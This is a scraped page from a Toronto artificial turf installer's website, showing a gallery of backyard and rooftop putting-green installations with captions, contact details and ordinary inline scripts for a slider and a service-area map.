var breeze_prefetch = {"local_url":"https://www.designturf.ca","ignore_remote_prefetch":"1","ignore_list":["wp-admin","wp-login.php"]}; //# sourceURL=breeze-prefetch-js-extra
https://www.designturf.ca/wp-content/plugins/responsive-lightbox/assets/infinitescroll/infinite-scroll.pkgd.min.js
https://www.designturf.ca/wp-content/plugins/responsive-lightbox/assets/dompurify/purify.min.js
window.RLG = window.RLG || {}; window.RLG.sanitizeAllowedHosts = ["youtube.com","www.youtube.com","youtu.be","vimeo.com","player.vimeo.com"]; //# sourceURL=responsive-lightbox-sanitizer-js-before
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_cff8034e8b54db04305eb25af61fbf22.js
var rlArgs = {"script":"prettyphoto","selector":"lightbox","customEvents":"ajaxComplete","activeGalleries":true,"animationSpeed":"normal","slideshow":false,"slideshowDelay":5000,"slideshowAutoplay":false,"opacity":"0.75","showTitle":true,"allowResize":true,"allowExpand":true,"width":1080,"height":720,"separator":"\/","theme":"pp_default","horizontalPadding":20,"hideFlash":false,"wmode":"opaque","videoAutoplay":false,"modal":true,"deeplinking":true,"overlayGallery":true,"keyboardShortcuts":true,"social":false,"woocommerce_gallery":false,"ajaxurl":"https:\/\/www.designturf.ca\/wp-admin\/admin-ajax.php","nonce":"c16557ea7c","preview":false,"postId":8007,"scriptExtension":false}; //# sourceURL=responsive-lightbox-js-before
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_faa3be4a3f60fdca4a3a2fe70597adf9.js
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_7a48c52c849d19588b172c03df75b236.js
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_e9cc3cb85f6b3d4e39ed8fea92d6eab7.js
var ajaxurl = 'https://www.designturf.ca/wp-admin/admin-ajax.php';
window._tpt ??= {}; window.SR7 ??= {}; _tpt.R ??= {}; _tpt.R.fonts ??= {}; _tpt.R.fonts.customFonts??= {}; SR7.devMode = false; SR7.F ??= {}; SR7.G ??= {}; SR7.LIB ??= {}; SR7.E ??= {}; SR7.E.gAddons ??= {}; SR7.E.php ??= {}; SR7.E.nonce = '2cc725905b'; SR7.E.ajaxurl = 'https://www.designturf.ca/wp-admin/admin-ajax.php'; SR7.E.resturl = 'https://www.designturf.ca/wp-json/'; SR7.E.slug_path = 'revslider/revslider.php'; SR7.E.slug = 'revslider'; SR7.E.plugin_url = 'https://www.designturf.ca/wp-content/plugins/revslider/'; SR7.E.wp_plugin_url = 'https://www.designturf.ca/wp-content/plugins/'; SR7.E.revision = '6.7.58'; SR7.E.fontBaseUrl = '//fonts.googleapis.com/css2?family='; SR7.G.breakPoints = [1240,1024,778,480]; SR7.G.fSUVW = false; SR7.E.modules = ['module','page','slide','layer','draw','animate','srtools','canvas','defaults','carousel','navigation','media','modifiers','migration']; SR7.E.libs = ['WEBGL']; SR7.E.css = ['csslp','cssbtns','cssfilters','cssnav','cssmedia']; SR7.E.resources = {}; SR7.E.ytnc = false; SR7.JSON ??= {}; /*! Slider Revolution 7.0 - Page Processor */ !function(){"use strict";window.SR7??={},window._tpt??={},SR7.version="Slider Revolution 6.7.40",_tpt.getMobileZoom=()=>_tpt.is_mobile?document.documentElement.clientWidth/window.innerWidth:1,_tpt.getWinDim=function(t){_tpt.screenHeightWithUrlBar??=window.innerHeight;let e=SR7.F?.modal?.visible&&SR7.M[SR7.F.module.getIdByAlias(SR7.F.modal.requested)];_tpt.scrollBar=window.innerWidth!==document.documentElement.clientWidth||e&&window.innerWidth!==e.c.module.clientWidth,_tpt.winW=_tpt.getMobileZoom()*window.innerWidth-(_tpt.scrollBar||"prepare"==t?_tpt.scrollBarW??_tpt.mesureScrollBar():0),_tpt.winH=_tpt.getMobileZoom()*window.innerHeight,_tpt.winWAll=document.documentElement.clientWidth},_tpt.getResponsiveLevel=function(t,e){return SR7.G.fSUVW?_tpt.closestGE(t,window.innerWidth):_tpt.closestGE(t,_tpt.winWAll)},_tpt.mesureScrollBar=function(){let t=document.createElement("div");return t.className="RSscrollbar-measure",t.style.width="100px",t.style.height="100px",t.style.overflow="scroll",t.style.position="absolute",t.style.top="-9999px",document.body.appendChild(t),_tpt.scrollBarW=t.offsetWidth-t.clientWidth,document.body.removeChild(t),_tpt.scrollBarW},_tpt.loadCSS=async function(t,e,s){return s?_tpt.R.fonts.required[e].status=1:(_tpt.R[e]??={},_tpt.R[e].status=1),new Promise((i,n)=>{if(_tpt.isStylesheetLoaded(t))s?_tpt.R.fonts.required[e].status=2:_tpt.R[e].status=2,i();else{const o=document.createElement("link");o.rel="stylesheet";let l="text",r="css";o["type"]=l+"/"+r,o.href=t,o.onload=()=>{s?_tpt.R.fonts.required[e].status=2:_tpt.R[e].status=2,i()},o.onerror=()=>{s?_tpt.R.fonts.required[e].status=3:_tpt.R[e].status=3,n(new Error(`Failed to load CSS: ${t}`))},document.head.appendChild(o)}})},_tpt.addContainer=function(t){const{tag:e="div",id:s,class:i,datas:n,textContent:o,iHTML:l}=t,r=document.createElement(e);if(s&&""!==s&&(r.id=s),i&&""!==i&&(r.className=i),n)for(const[t,e]of Object.entries(n))"style"==t?r.style.cssText=e:r.setAttribute(`data-${t}`,e);return o&&(r.textContent=o),l&&(r.innerHTML=l),r},_tpt.collector=function(){return{fragment:new DocumentFragment,add(t){var e=_tpt.addContainer(t);return this.fragment.appendChild(e),e},append(t){t.appendChild(this.fragment)}}},_tpt.isStylesheetLoaded=function(t){let e=t.split("?")[0];return Array.from(document.querySelectorAll('link[rel="stylesheet"], link[rel="preload"]')).some(t=>t.href.split("?")[0]===e)},_tpt.preloader={requests:new Map,preloaderTemplates:new Map,show:function(t,e){if(!e||!t)return;const{type:s,color:i}=e;if(s<0||"off"==s)return;const n=`preloader_${s}`;let o=this.preloaderTemplates.get(n);o||(o=this.build(s,i),this.preloaderTemplates.set(n,o)),this.requests.has(t)||this.requests.set(t,{count:0});const l=this.requests.get(t);clearTimeout(l.timer),l.count++,1===l.count&&(l.timer=setTimeout(()=>{l.preloaderClone=o.cloneNode(!0),l.anim&&l.anim.kill(),void 0!==_tpt.gsap?l.anim=_tpt.gsap.fromTo(l.preloaderClone,1,{opacity:0},{opacity:1}):l.preloaderClone.classList.add("sr7-fade-in"),t.appendChild(l.preloaderClone)},150))},hide:function(t){if(!this.requests.has(t))return;const e=this.requests.get(t);e.count--,e.count<0&&(e.count=0),e.anim&&e.anim.kill(),0===e.count&&(clearTimeout(e.timer),e.preloaderClone&&(e.preloaderClone.classList.remove("sr7-fade-in"),e.anim=_tpt.gsap.to(e.preloaderClone,.3,{opacity:0,onComplete:function(){e.preloaderClone.remove()}})))},state:function(t){if(!this.requests.has(t))return!1;return this.requests.get(t).count>0},build:(t,e="#ffffff",s="")=>{if(t<0||"off"===t)return null;const i=parseInt(t);if(t="prlt"+i,isNaN(i))return null;if(_tpt.loadCSS(SR7.E.plugin_url+"public/css/preloaders/t"+i+".css","preloader_"+t),isNaN(i)||i<6){const n=`background-color:${e}`,o=1===i||2==i?n:"",l=3===i||4==i?n:"",r=_tpt.collector();["dot1","dot2","bounce1","bounce2","bounce3"].forEach(t=>r.add({tag:"div",class:t,datas:{style:l}}));const d=_tpt.addContainer({tag:"sr7-prl",class:`${t} ${s}`,datas:{style:o}});return r.append(d),d}{let n={};if(7===i){let t;e.startsWith("#")?(t=e.replace("#",""),t=`rgba(${parseInt(t.substring(0,2),16)}, ${parseInt(t.substring(2,4),16)}, ${parseInt(t.substring(4,6),16)}, `):e.startsWith("rgb")&&(t=e.slice(e.indexOf("(")+1,e.lastIndexOf(")")).split(",").map(t=>t.trim()),t=`rgba(${t[0]}, ${t[1]}, ${t[2]}, `),t&&(n.style=`border-top-color: ${t}0.65); border-bottom-color: ${t}0.15); border-left-color: ${t}0.65); border-right-color: ${t}0.15)`)}else 12===i&&(n.style=`background:${e}`);const o=[10,0,4,2,5,9,0,4,4,2][i-6],l=_tpt.collector(),r=l.add({tag:"div",class:"sr7-prl-inner",datas:n});Array.from({length:o}).forEach(()=>r.appendChild(l.add({tag:"span",datas:{style:`background:${e}`}})));const d=_tpt.addContainer({tag:"sr7-prl",class:`${t} ${s}`});return l.append(d),d}}},SR7.preLoader={show:(t,e)=>{"off"!==(SR7.M[t]?.settings?.pLoader?.type??"off")&&_tpt.preloader.show(e||SR7.M[t].c.module,SR7.M[t]?.settings?.pLoader??{color:"#fff",type:10})},hide:(t,e)=>{"off"!==(SR7.M[t]?.settings?.pLoader?.type??"off")&&_tpt.preloader.hide(e||SR7.M[t].c.module)},state:(t,e)=>_tpt.preloader.state(e||SR7.M[t].c.module)},_tpt.prepareModuleHeight=function(t){window.SR7.M??={},window.SR7.M[t.id]??={},"ignore"==t.googleFont&&(SR7.E.ignoreGoogleFont=!0);let e=window.SR7.M[t.id];if(null==_tpt.scrollBarW&&_tpt.mesureScrollBar(),e.c??={},e.states??={},e.settings??={},e.settings.size??={},t.fixed&&(e.settings.fixed=!0),e.c.module=document.querySelector("sr7-module#"+t.id),e.c.adjuster=e.c.module.getElementsByTagName("sr7-adjuster")[0],e.c.content=e.c.module.getElementsByTagName("sr7-content")[0],"carousel"==t.type&&(e.c.carousel=e.c.content.getElementsByTagName("sr7-carousel")[0]),null==e.c.module||null==e.c.module)return;t.plType&&t.plColor&&(e.settings.pLoader={type:t.plType,color:t.plColor}),void 0===t.plType||"off"===t.plType||SR7.preLoader.state(t.id)&&SR7.preLoader.state(t.id,e.c.module)||SR7.preLoader.show(t.id,e.c.module),_tpt.winW||_tpt.getWinDim("prepare"),_tpt.getWinDim();let s=""+e.c.module.dataset?.modal;"modal"==s||"true"==s||"undefined"!==s&&"false"!==s||(e.settings.size.fullWidth=t.size.fullWidth,e.LEV??=_tpt.getResponsiveLevel(window.SR7.G.breakPoints,t.id),t.vpt=_tpt.fillArray(t.vpt,5),e.settings.vPort=t.vpt[e.LEV],void 0!==t.el&&"720"==t.el[4]&&t.gh[4]!==t.el[4]&&"960"==t.el[3]&&t.gh[3]!==t.el[3]&&"768"==t.el[2]&&t.gh[2]!==t.el[2]&&delete t.el,e.settings.size.height=null==t.el||null==t.el[e.LEV]||0==t.el[e.LEV]||"auto"==t.el[e.LEV]?_tpt.fillArray(t.gh,5,-1):_tpt.fillArray(t.el,5,-1),e.settings.size.width=_tpt.fillArray(t.gw,5,-1),e.settings.size.minHeight=_tpt.fillArray(t.mh??[0],5,-1),e.cacheSize={fullWidth:e.settings.size?.fullWidth,fullHeight:e.settings.size?.fullHeight},void 0!==t.off&&(t.off?.t&&(e.settings.size.m??={})&&(e.settings.size.m.t=t.off.t),t.off?.b&&(e.settings.size.m??={})&&(e.settings.size.m.b=t.off.b),t.off?.l&&(e.settings.size.p??={})&&(e.settings.size.p.l=t.off.l),t.off?.r&&(e.settings.size.p??={})&&(e.settings.size.p.r=t.off.r),e.offsetPrepared=!0),_tpt.updatePMHeight(t.id,t,!0))},_tpt.updatePMHeight=(t,e,s)=>{let i=SR7.M[t];var n=i.settings.size.fullWidth?_tpt.winW:i.c.module.parentNode.offsetWidth;n=0===n||isNaN(n)?_tpt.winW:n;let o=i.settings.size.width[i.LEV]||i.settings.size.width[i.LEV++]||i.settings.size.width[i.LEV--]||n,l=i.settings.size.height[i.LEV]||i.settings.size.height[i.LEV++]||i.settings.size.height[i.LEV--]||0,r=i.settings.size.minHeight[i.LEV]||i.settings.size.minHeight[i.LEV++]||i.settings.size.minHeight[i.LEV--]||0;if(l="auto"==l?0:l,l=parseInt(l),"carousel"!==e.type&&(n-=parseInt(e.onw??0)||0),i.MP=!i.settings.size.fullWidth&&n<o||_tpt.winW<o?Math.min(1,n/o):1,e.size.fullScreen||e.size.fullHeight){let t=parseInt(e.fho)||0,s=(""+e.fho).indexOf("%")>-1;e.newh=_tpt.winH-(s?_tpt.winH*t/100:t)}else e.newh=i.MP*Math.max(l,r);if(e.newh+=(parseInt(e.onh??0)||0)+(parseInt(e.carousel?.pt)||0)+(parseInt(e.carousel?.pb)||0),void 0!==e.slideduration&&(e.newh=Math.max(e.newh,parseInt(e.slideduration)/3)),e.shdw&&_tpt.buildShadow(e.id,e),i.c.adjuster.style.height=e.newh+"px",i.c.module.style.height=e.newh+"px",i.c.content.style.height=e.newh+"px",i.states.heightPrepared=!0,i.dims??={},i.dims.moduleRect=i.c.module.getBoundingClientRect(),i.c.content.style.left="-"+i.dims.moduleRect.left+"px",!i.settings.size.fullWidth)return s&&requestAnimationFrame(()=>{n!==i.c.module.parentNode.offsetWidth&&_tpt.updatePMHeight(e.id,e)}),void _tpt.bgStyle(e.id,e,window.innerWidth==_tpt.winW,!0);_tpt.bgStyle(e.id,e,window.innerWidth==_tpt.winW,!0),requestAnimationFrame(function(){s&&requestAnimationFrame(()=>{n!==i.c.module.parentNode.offsetWidth&&_tpt.updatePMHeight(e.id,e)})}),i.earlyResizerFunction||(i.earlyResizerFunction=function(){requestAnimationFrame(function(){_tpt.getWinDim(),_tpt.moduleDefaults(e.id,e),_tpt.updateSlideBg(t,!0)})},window.addEventListener("resize",i.earlyResizerFunction))},_tpt.buildShadow=function(t,e){let s=SR7.M[t];null==s.c.shadow&&(s.c.shadow=document.createElement("sr7-module-shadow"),s.c.shadow.classList.add("sr7-shdw-"+e.shdw),s.c.content.appendChild(s.c.shadow))},_tpt.bgStyle=async(t,e,s,i,n)=>{const o=SR7.M[t];if((e=e??o.settings).fixed&&!o.c.module.classList.contains("sr7-top-fixed")&&(o.c.module.classList.add("sr7-top-fixed"),o.c.module.style.position="fixed",o.c.module.style.width="100%",o.c.module.style.top="0px",o.c.module.style.left="0px",o.c.module.style.pointerEvents="none",o.c.module.style.zIndex=5e3,o.c.content.style.pointerEvents="none"),null==o.c.bgcanvas){let t=document.createElement("sr7-module-bg"),l=!1;if("string"==typeof e?.bg?.color&&e?.bg?.color.includes("{"))if(_tpt.gradient&&_tpt.gsap)e.bg.color=_tpt.gradient.convert(e.bg.color);else try{let t=JSON.parse(e.bg.color);(t?.orig||t?.string)&&(e.bg.color=JSON.parse(e.bg.color))}catch(t){return}let r="string"==typeof e?.bg?.color?e?.bg?.color||"transparent":e?.bg?.color?.string??e?.bg?.color?.orig??e?.bg?.color?.color??"transparent";if(t.style["background"+(String(r).includes("grad")?"":"Color")]=r,("transparent"!==r||n)&&(l=!0),o.offsetPrepared&&(t.style.visibility="hidden"),e?.bg?.image?.src&&(t.style.backgroundImage=`url(${e?.bg?.image.src})`,t.style.backgroundSize=""==(e.bg.image?.size??"")?"cover":e.bg.image.size,t.style.backgroundPosition=e.bg.image.position,t.style.backgroundRepeat=""==e.bg.image.repeat||null==e.bg.image.repeat?"no-repeat":e.bg.image.repeat,l=!0),!l)return;o.c.bgcanvas=t,e.size.fullWidth?t.style.width=_tpt.winW-(s&&_tpt.winH<document.body.offsetHeight?_tpt.scrollBarW:0)+"px":i&&(t.style.width=o.c.module.offsetWidth+"px"),e.sbt?.use?o.c.content.appendChild(o.c.bgcanvas):o.c.module.appendChild(o.c.bgcanvas)}o.c.bgcanvas.style.height=void 0!==e.newh?e.newh+"px":("carousel"==e.type?o.dims.module.h:o.dims.content.h)+"px",o.c.bgcanvas.style.left=!s&&e.sbt?.use||o.c.bgcanvas.closest("SR7-CONTENT")?"0px":"-"+(o?.dims?.moduleRect?.left??0)+"px"},_tpt.updateSlideBg=function(t,e){const s=SR7.M[t];let i=s.settings;s?.c?.bgcanvas&&(i.size.fullWidth?s.c.bgcanvas.style.width=_tpt.winW-(e&&_tpt.winH<document.body.offsetHeight?_tpt.scrollBarW:0)+"px":preparing&&(s.c.bgcanvas.style.width=s.c.module.offsetWidth+"px"))},_tpt.moduleDefaults=(t,e)=>{let s=SR7.M[t];null!=s&&null!=s.c&&null!=s.c.module&&(s.dims??={},s.dims.moduleRect=s.c.module.getBoundingClientRect(),s.c.content.style.left="-"+s.dims.moduleRect.left+"px",s.c.content.style.width=_tpt.winW-_tpt.scrollBarW+"px","carousel"==e.type&&(s.c.module.style.overflow="visible"),_tpt.bgStyle(t,e,window.innerWidth==_tpt.winW))},_tpt.getOffset=t=>{var e=t.getBoundingClientRect(),s=window.pageXOffset||document.documentElement.scrollLeft,i=window.pageYOffset||document.documentElement.scrollTop;return{top:e.top+i,left:e.left+s}},_tpt.fillArray=function(t,e){let s,i;t=Array.isArray(t)?t:[t];let n=Array(e),o=t.length;for(i=0;i<t.length;i++)n[i+(e-o)]=t[i],null==s&&"#"!==t[i]&&(s=t[i]);for(let t=0;t<e;t++)void 0!==n[t]&&"#"!=n[t]||(n[t]=s),s=n[t];return n},_tpt.closestGE=function(t,e){let s=Number.MAX_VALUE,i=-1;for(let n=0;n<t.length;n++)t[n]-1>=e&&t[n]-1-e<s&&(s=t[n]-1-e,i=n);return++i}}();
  • Home
  • Products
  • Our Services
  • Specifications
  • Full Pricing Page
  • About Us
  • Resources
  • Dedicated Review Page
  • Blog
  • Contact

  • Home
  • Products
    • Artificial Grass Toronto | Installation & Landscaping
    • Dog And Pet Turf
    • playground page (new)
    • Golf Greens
      • Backyard Golf Greens And Beyond
      • Artificial Golf Greens & Turf
      • Golf Greens The Process
    • Athletic Surfaces
    • Before & After Images Gallery
    • Landscape Construction
      • Beautiful Gardens & Professional Plantings
      • Patios & Stonework
      • Modern Fencing & Privacy Screens
      • Decking & Outdoor Living Spaces
    • Envirofill Artificial Turf Infill
  • Our Services
  • Specifications
    • Landscape Grass Specification Overview
      • Muskoka-Royal-70 Spec
      • Ontario-Lush-80
      • Ontario-Lush-60
      • Algonquin-ECO-60 spec
      • Ontario-Lush-40-Spec
      • Algonquin-ECO-40 Spec
    • Pet Turf Specifications Overview
      • K9-60 Specification
      • K9-45 Specification
    • Playground Turf Specifications Overview
      • Optimum-Play-60-Spec
      • Optimum-Play-45 spec
    • Putting Greens Specifications Overview
      • PG-Augusta-spec
      • The-Players-spec
    • Sports Turf Specifications Overview
      • XL PRO
      • Sport 52
      • Sport 45
  • Full Pricing Page
    • Premium Turf Pricing
      • DT MR70-new
      • DT-ONT-LUSH-80
    • Natural Turf Pricing
      • DT-ALGONQUIN-ECO-60
      • DT-ONT-LUSH-60
      • DT-ALGONQUIN-ECO-40
      • DT-ONT-LUSH-40
    • Turf for Kids
      • DT-OPTIMUM-PLAY-60
      • DT-OPTIMUM-PLAY-45
    • Doggie Turf
      • DT-K9-Champion-60
      • DT-K9-Champion-45
    • Putting Greens
      • DT PG Augusta
      • DT The Players
  • About Us
    • Service Areas Page
  • Resources
    • All Galleries
    • Master FAQ
    • Landscape Turf Overview
      • Artificial Grass Comparison Guide
      • Artificial Grass Cost Guide
      • Landscape Grass Design Ideas
      • Small Yard Artificial Grass
      • Artificial Grass Buying Guide
      • Installation FAQ
    • Playground Turf Overview
      • Playground Turf Installation
      • Playground Turf FAQ New
      • Playground Turf Cost Guide
      • Playground Turf Comparison
      • Playground Turf Maintenance
      • Fall Height & Impact Testing New
      • Playground Turf Safety Standards
    • Putting Greens Overview
      • Putting Green FAQ
      • Putting Green Cost New
      • Putting Green Guide
      • Putting Green Maintenance
      • Putting Green Base Construction New
    • Pet Turf Overview
      • Pet Turf FAQ
      • Pet Turf Cost
      • Pet turf Guide
      • Preventing Odours in Pet Turf
      • Pet Turf Comparison
      • Pet Turf Maintenance Guide
      • Pet Turf Installation
      • Pet Turf Drainage Explained
    • Synthetic Turf Videos
    • Installation Warranty
    • Artificial Grass Warranty
  • Dedicated Review Page
  • Blog
    • The Complete Beginners Guide to Artificial Grass (Toronto Edition)
    • Artificial-Grass-Cost-in-Toronto (2026 Pricing Guide)
    • Environmental Benefits of Artificial Grass
    • Benefits of Modern artificial grass
    • Benefits of artificial grass
    • artificial grass vs real grass
    • Artificial Grass for Pets
    • Best Artificial Grass Blog
    • Small Yard Artificial Grass-Blog
    • Playground grass for kids
  • Contact
  • Home
  • Products
    • Artificial Grass Toronto | Installation & Landscaping
    • Dog And Pet Turf
    • playground page (new)
    • Golf Greens
    • Athletic Surfaces
    • Before & After Images Gallery
    • Landscape Construction
    • Envirofill Artificial Turf Infill
  • Our Services
  • Specifications
    • Landscape Grass Specification Overview
    • Pet Turf Specifications Overview
    • Playground Turf Specifications Overview
    • Putting Greens Specifications Overview
    • Sports Turf Specifications Overview
  • Full Pricing Page
    • Premium Turf Pricing
    • Natural Turf Pricing
    • Turf for Kids
    • Doggie Turf
    • Putting Greens
  • About Us
    • Service Areas Page
  • Resources
    • All Galleries
    • Master FAQ
    • Landscape Turf Overview
    • Playground Turf Overview
    • Putting Greens Overview
    • Pet Turf Overview
    • Synthetic Turf Videos
    • Installation Warranty
    • Artificial Grass Warranty
  • Dedicated Review Page
  • Blog
    • The Complete Beginners Guide to Artificial Grass (Toronto Edition)
    • Artificial-Grass-Cost-in-Toronto (2026 Pricing Guide)
    • Environmental Benefits of Artificial Grass
    • Benefits of Modern artificial grass
    • Benefits of artificial grass
    • artificial grass vs real grass
    • Artificial Grass for Pets
    • Best Artificial Grass Blog
    • Small Yard Artificial Grass-Blog
    • Playground grass for kids
  • Contact
✕
Home › Golf Greens Image Gallery

Golf Greens Turf Gallery

Our Golf Green Turf systems are engineered for properties of all sizes — providing a clean, safe, mud-free surface that drains quickly and stands up to heavy use. Explore real Golf Green installations across Toronto and the GTA.

Backyard putting green with sand bunker beside basketball court.
Backyard putting green with stone wall, waterfall, and four flags.
Urban courtyard putting green beside glass building with landscaped plants
Rooftop putting green overlooking modern pool and lounge area
Backyard putting green with five white flags beside curved swimming pool
Hillside backyard putting green in front of modern home with landscaped gardens
Putting green with white flags beside lake under blue sky.
Backyard putting green with four green flags beside pool and landscaped garden
Backyard putting green with four flags and surrounding flower beds
Backyard putting green beside pool and hot tub with multiple golf flags
Backyard putting green with practice net and blue garden shed
Backyard putting green with four flags and stone walkway
Backyard putting green with three flags beside patio lounge chairs
Backyard putting green with three flags beside brick building and trees
Backyard putting green beside water with sand trap and landscaped gardens.
Backyard putting green beside house deck with two golf flags.
Small backyard putting green beside wooden deck with two golf flags
Backyard putting green with three red flags and stone walkway
Backyard putting green with four red flags beside landscaped pool area.
indoor office putting green for staff
Class A Golf Pro promotes design turf golf greens
Estate property 4 custom apple shaped golf greens
Nice backdrop for Toronto putting green
smart-3-hole-elevated-green
5-hole-panoramic-artificial-golf-green-
Artificial grass lawn &amp; golf green
What a beauty Our PG-Augusta is not only for the pros bu all golfers that love the game
Downtown Toronto Top Floor condo artificial golf green
commercial park for a golf green summer camp in Niagara
Beautiful Scarborough backyard putting green
Its a beauty our PG-Augusta for professionals and all golfers alike
Beautiful Scarborough backyard putting green
putting green with fake grass in whitby ontario
beautiful artificial golf turf
improve your putting at home in mississauga ontario
putting in your own backyard Brooklin ON
perfect backyard putting green for your home
lush putting green and golf turf in Vauhan Ontario
5 hole putting green with artificial golf turf in North YorkOntario
home golf green in Ajax ON
new artificial golf turf putting green
Toronto Beautifully landscaped artificial putting green in Oakville
golf green in King City backyard
Woodbridge area artificial putting green
gorgeous putting green made of synthetic turf
Wonderful backdrop on this 4-hole fringe turfed green
Residential backyard putting green with blue flags installed on a large lawn surrounded by trees
A beautiful, luxurious residential backyard featuring a perfectly manicured synthetic putting green and lawn area bordered by a massive, neatly trimmed cedar privacy hedge and a modern stone mansion.
lake Ontario backyard premium artificial golf green
Backyard putting green with four yellow flags and landscaped mulch beds
Backyard putting green with two red flags beside pool and rock waterfall.
Backyard putting green with two red flags under tall trees and hammock
Backyard putting green with two red flags under tall trees and hammock
Backyard putting green with large tree and two white‑flag holes

Thinking About Installing Golf Green Turf?

We design and install premium Golf Green friendly turf systems across Toronto and the GTA. Get in touch to discuss your project.

Get a Quote →

Explore More Artificial Grass Solutions

  • Landscape Turf Installation
  • Pet‑Friendly K9 Turf
  • Playground & Daycare Turf
  • Backyard Putting Greens

Ready to Transform Your Space?

You’ve seen what’s possible. Get a fast, no‑obligation quote for professional artificial turf installation in the GTA.

Request a Free Quote

DESIGN TURF

Toronto's top-tier artificial turf specialists. Expert residential, commercial, and custom installations serving the entire Greater Toronto Area.

Call Us
(416) 546-6490
Email
info@designturf.ca
Location
10 Gormley Industrial Ave, Unit 2-3 Gormley, ON L0H 1G0 Serving the GTA
Hours
Mon – Sat: 8 AM – 6 PM
Our Services
  • Residential Home landscape grass
  • Residential backyard playgrounds
  • Residential Backyard Putting Greens
  • Daycare Centres Artificial Safe Surfaces
  • Dog Kennels
  • Commercial Artificial landscape grass & Construction
  • Schools, & daycare operators
  • Sports Fields & Schools
© 2026 Artificial Grass Toronto | Design Turf. All Rights Reserved. Muffin group
  • Home
  • Products
  • Our Services
  • Specifications
  • Full Pricing Page
  • About Us
  • Resources
  • Dedicated Review Page
  • Blog
  • Contact
Call 416-546-6490
(function(){ 'use strict'; /* ═══════════════════════════════════════════ CONFIGURATION — UPDATE THESE VALUES ═══════════════════════════════════════════ */ // Design Turf HQ coordinates (update to exact address) var HQ_LAT = 43.6532; var HQ_LNG = -79.3832; // Service area pins (red markers) — add/remove as needed var SERVICE_AREAS = [ { name: 'Mississauga', lat: 43.5890, lng: -79.6441 }, { name: 'Brampton', lat: 43.7315, lng: -79.7624 }, { name: 'Vaughan', lat: 43.8361, lng: -79.4983 }, { name: 'Markham', lat: 43.8561, lng: -79.3370 }, { name: 'Oakville', lat: 43.4675, lng: -79.6877 }, { name: 'Richmond Hill', lat: 43.8828, lng: -79.4403 }, { name: 'Pickering', lat: 43.8354, lng: -79.0868 }, { name: 'Ajax', lat: 43.8509, lng: -79.0204 }, { name: 'Newmarket', lat: 44.0592, lng: -79.4613 }, { name: 'Milton', lat: 43.5183, lng: -79.8774 }, { name: 'Burlington', lat: 43.3255, lng: -79.7990 }, { name: 'Stouffville', lat: 43.9701, lng: -79.2453 }, { name: 'Oshawa', lat: 43.8971, lng: -78.8658 }, { name: 'Uxbridge', lat: 44.11396, lng: -79.11049 } ]; // WP REST API — Services category ID // ► OPTION A: By category (requires categories enabled on pages) var SERVICES_CATEGORY_ID = 0; // ← Replace with your actual category ID // ► OPTION B: By parent page ID (uncomment below, comment out Option A) // var SERVICES_PARENT_ID = 0; // ← Replace with your Services parent page ID /* ═══════════════════════════════════════════ PIN FACTORY — Inline SVG markers ═══════════════════════════════════════════ */ function makePin(fillColor, label) { var svg = '<svg xmlns="http://www.w3.org/2000/svg" width="32" height="46" viewBox="0 0 32 46">' + '<defs><filter id="ds' + fillColor.replace('#','') + '" x="-20%" y="-10%" width="140%" height="130%">' + '<feDropShadow dx="0" dy="2" stdDeviation="2" flood-color="rgba(0,0,0,0.3)"/></filter></defs>' + '<path d="M16 1C7.7 1 1 7.7 1 16c0 11.3 15 29 15 29s15-17.7 15-29C31 7.7 24.3 1 16 1z" ' + 'fill="' + fillColor + '" stroke="#ffffff" stroke-width="2" filter="url(%23ds' + fillColor.replace('#','') + ')"/>' + '<circle cx="16" cy="15" r="6.5" fill="#ffffff" opacity="0.92"/>' + '</svg>'; return L.divIcon({ className: '', html: svg, iconSize: [32, 46], iconAnchor: [16, 46], popupAnchor:[0, -42] }); } var greenPin = makePin('#00A651', 'HQ'); var redPin = makePin('#E53935', 'Area'); /* ═══════════════════════════════════════════ MAP INITIALIZATION ═══════════════════════════════════════════ */ var map = L.map('dt-leaflet-map', { center: [HQ_LAT, HQ_LNG], zoom: 10, scrollWheelZoom: false, zoomControl: true, attributionControl: true }); // CartoDB Voyager tiles — clean, premium aesthetic L.tileLayer('https://{s}.basemaps.cartocdn.com/rastertiles/voyager/{z}/{x}/{y}{r}.png', { attribution: '&copy; <a href="https://openstreetmap.org">OpenStreetMap</a> &copy; <a href="https://carto.com/">CARTO</a>', subdomains: 'abcd', maxZoom: 19 }).addTo(map); // ── HQ Marker (GREEN) ── L.marker([HQ_LAT, HQ_LNG], { icon: greenPin }) .addTo(map) .bindPopup( '<div style="font-family:Segoe UI,system-ui,sans-serif;text-align:center;padding:6px 10px;min-width:160px;">' + '<div style="font-size:16px;font-weight:800;color:#00A651;margin-bottom:3px;">Design Turf</div>' + '<div style="font-size:13px;color:#555;margin-bottom:6px;">Headquarters · Toronto, ON</div>' + '<a href="/contact/" style="display:inline-block;padding:5px 16px;background:#00A651;color:#fff;text-decoration:none;font-size:12px;font-weight:700;border-radius:4px;">Get a Quote</a>' + '</div>' ); // ── Service Area Markers (RED) ── var bounds = L.latLngBounds([[HQ_LAT, HQ_LNG]]); SERVICE_AREAS.forEach(function(area) { L.marker([area.lat, area.lng], { icon: redPin }) .addTo(map) .bindPopup( '<div style="font-family:Segoe UI,system-ui,sans-serif;text-align:center;padding:6px 10px;">' + '<div style="font-size:15px;font-weight:700;color:#E53935;margin-bottom:2px;">' + area.name + '</div>' + '<div style="font-size:12px;color:#666;">We service this area</div>' + '</div>' ); bounds.extend([area.lat, area.lng]); }); map.fitBounds(bounds, { padding: [40, 40] }); /* ═══════════════════════════════════════════ SERVICE AREA SHADING — Convex Hull + Buffer Renders behind markers automatically ═══════════════════════════════════════════ */ // Collect all points (HQ + service areas) var allPoints = [[HQ_LAT, HQ_LNG]]; SERVICE_AREAS.forEach(function(a) { allPoints.push([a.lat, a.lng]); }); // ── Convex Hull (Gift Wrapping / Jarvis March) ── function cross(O, A, B) { return (A[1] - O[1]) * (B[0] - O[0]) - (A[0] - O[0]) * (B[1] - O[1]); } function convexHull(points) { var pts = points.slice().sort(function(a, b) { return a[0] === b[0] ? a[1] - b[1] : a[0] - b[0]; }); if (pts.length <= 1) return pts; var lower = []; for (var i = 0; i < pts.length; i++) { while (lower.length >= 2 && cross(lower[lower.length - 2], lower[lower.length - 1], pts[i]) <= 0) lower.pop(); lower.push(pts[i]); } var upper = []; for (var j = pts.length - 1; j >= 0; j--) { while (upper.length >= 2 && cross(upper[upper.length - 2], upper[upper.length 